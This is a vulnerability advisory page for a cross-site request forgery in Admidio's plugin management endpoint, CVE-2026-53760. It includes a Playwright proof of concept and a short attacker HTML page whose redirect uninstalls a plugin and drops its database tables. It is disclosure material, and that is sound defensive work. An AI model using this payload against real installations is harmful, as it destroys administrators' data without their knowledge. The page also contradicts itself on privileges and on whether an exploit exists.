Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-53760 — admidio

⚪ Unknown ✅ No Known Exploit CWE-352 OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests

Summary

The modules/plugins.php endpoint handles plugin installation, uninstallation, and update operations via GET requests without CSRF token validation. Because these are top-level navigations, browsers include SameSite=Lax session cookies. An attacker crafts a malicious page that, when an authenticated administrator visits it, triggers arbitrary plugin operations. The uninstall operation executes DROP TABLE SQL scripts and destroys plugin data.

Details

modules/plugins.php reads the mode (install, uninstall, update) and name parameters directly from $_GET:

```php

// modules/plugins.php

$mode = admFuncVariableIsValid($_GET, 'mode', 'string');

$pluginName = admFuncVariableIsValid($_GET, 'name', 'string');

```

The file contains zero calls to SecurityUtils::validateCsrfToken(). Other administrative operations in the same codebase (such as the save mode in preferences) validate CSRF tokens correctly.

Because the operations use GET requests, modern browsers send SameSite=Lax cookies on top-level GET navigations (link clicks, redirects, window.location assignments). A cross-origin page triggers these operations by navigating the browser to the vulnerable URL.

The doUninstall() function is the most destructive path. It executes SQL scripts from the plugin's db_scripts/ directory, which contain DROP TABLE statements:

```php

// modules/plugins.php - doUninstall()

function doUninstall($pluginFolder) {

// Reads and executes SQL from $pluginFolder/db_scripts/uninstall.sql

// Contains DROP TABLE statements

}

```

Proof of Concept

The following Playwright test demonstrates a cross-origin CSRF attack. An attacker hosts a page on a different origin that redirects an authenticated administrator's browser to the uninstall endpoint:

```javascript

// playwright-csrf-poc.js

const { test, expect } = require('@playwright/test');

test('CSRF plugin uninstall via cross-origin redirect', async ({ browser }) => {

const context = await browser.newContext();

const page = await context.newPage();

// Step 1: Admin logs in to Admidio

await page.goto('https://admidio.example.com/adm_program/system/login.php');

await page.fill('#usr_login_name', 'admin');

await page.fill('#usr_password', 'password');

await page.click('#btn_login');

await page.waitForURL('**/overview.php');

// Step 2: Admin visits attacker-controlled page on different origin

// The attacker page contains:

// <script>window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';</script>

await page.goto('https://attacker.example.com/csrf.html');

// Step 3: Browser follows redirect with SameSite=Lax cookies

// The birthday plugin is uninstalled, its database tables dropped

await page.waitForURL('**/plugins.php*');

// Verify the plugin was uninstalled

await page.goto('https://admidio.example.com/adm_program/modules/plugins.php');

const content = await page.content();

expect(content).not.toContain('birthday');

});

```

Simplified attacker page (csrf.html hosted on attacker origin):

```html

<html>

<body>

<script>

window.location = 'https://admidio.example.com/adm_program/modules/plugins.php?mode=uninstall&name=birthday';

</script>

</body>

</html>

```

When an administrator visits this page, the browser navigates to the Admidio uninstall URL with full session cookies, and the server uninstalls the birthday plugin.

Impact

An unauthenticated attacker tricks an Admidio administrator into visiting a malicious web page (via phishing, forum post, or embedded content) that performs plugin operations without visible indication. The uninstall operation executes DROP TABLE statements, causing irreversible data loss. The install operation activates plugins with known vulnerabilities. The update operation disrupts plugin functionality. The victim only needs to visit a single page.

Recommended Fix

Switch plugin install, uninstall, and update operations from GET to POST requests. Add SecurityUtils::validateCsrfToken() checks to all state-changing operations in modules/plugins.php, consistent with the pattern used elsewhere in the codebase.

*Found by [aisafe.io](https://aisafe.io)*

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. A user must be tricked into taking some action. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability low.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: Low — limited, and the attacker does not choose what is affected.

Weakness class

CVE-2026-53760 is classified as CWE-352: Cross-Site Request Forgery (CSRF). A state-changing request is accepted without proof it was intended, so another site can trigger it using the victim's session.

Affected software

CVE-2026-53760 is recorded against 1 package.

  • admidio/admidio

Timeline and source

Published on 9 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Other advisories for this package

admidio/admidio has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-352: Cross-Site Request Forgery (CSRF)) in other software:

Details

Severity Unknown
CVSS Score N/A
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L
CWE CWE-352
Public Exploit ✅ No
Source OSV
Published 2026-07-09
Updated 2026-08-20
Modified 2026-07-09
Fix URL N/A

Affected Packages

Software From version Fixed in
admidio/admidio

Similar Threats

Free Vulnerability Check

Is your site affected by CVE-2026-53760?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against CVE-2026-53760 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026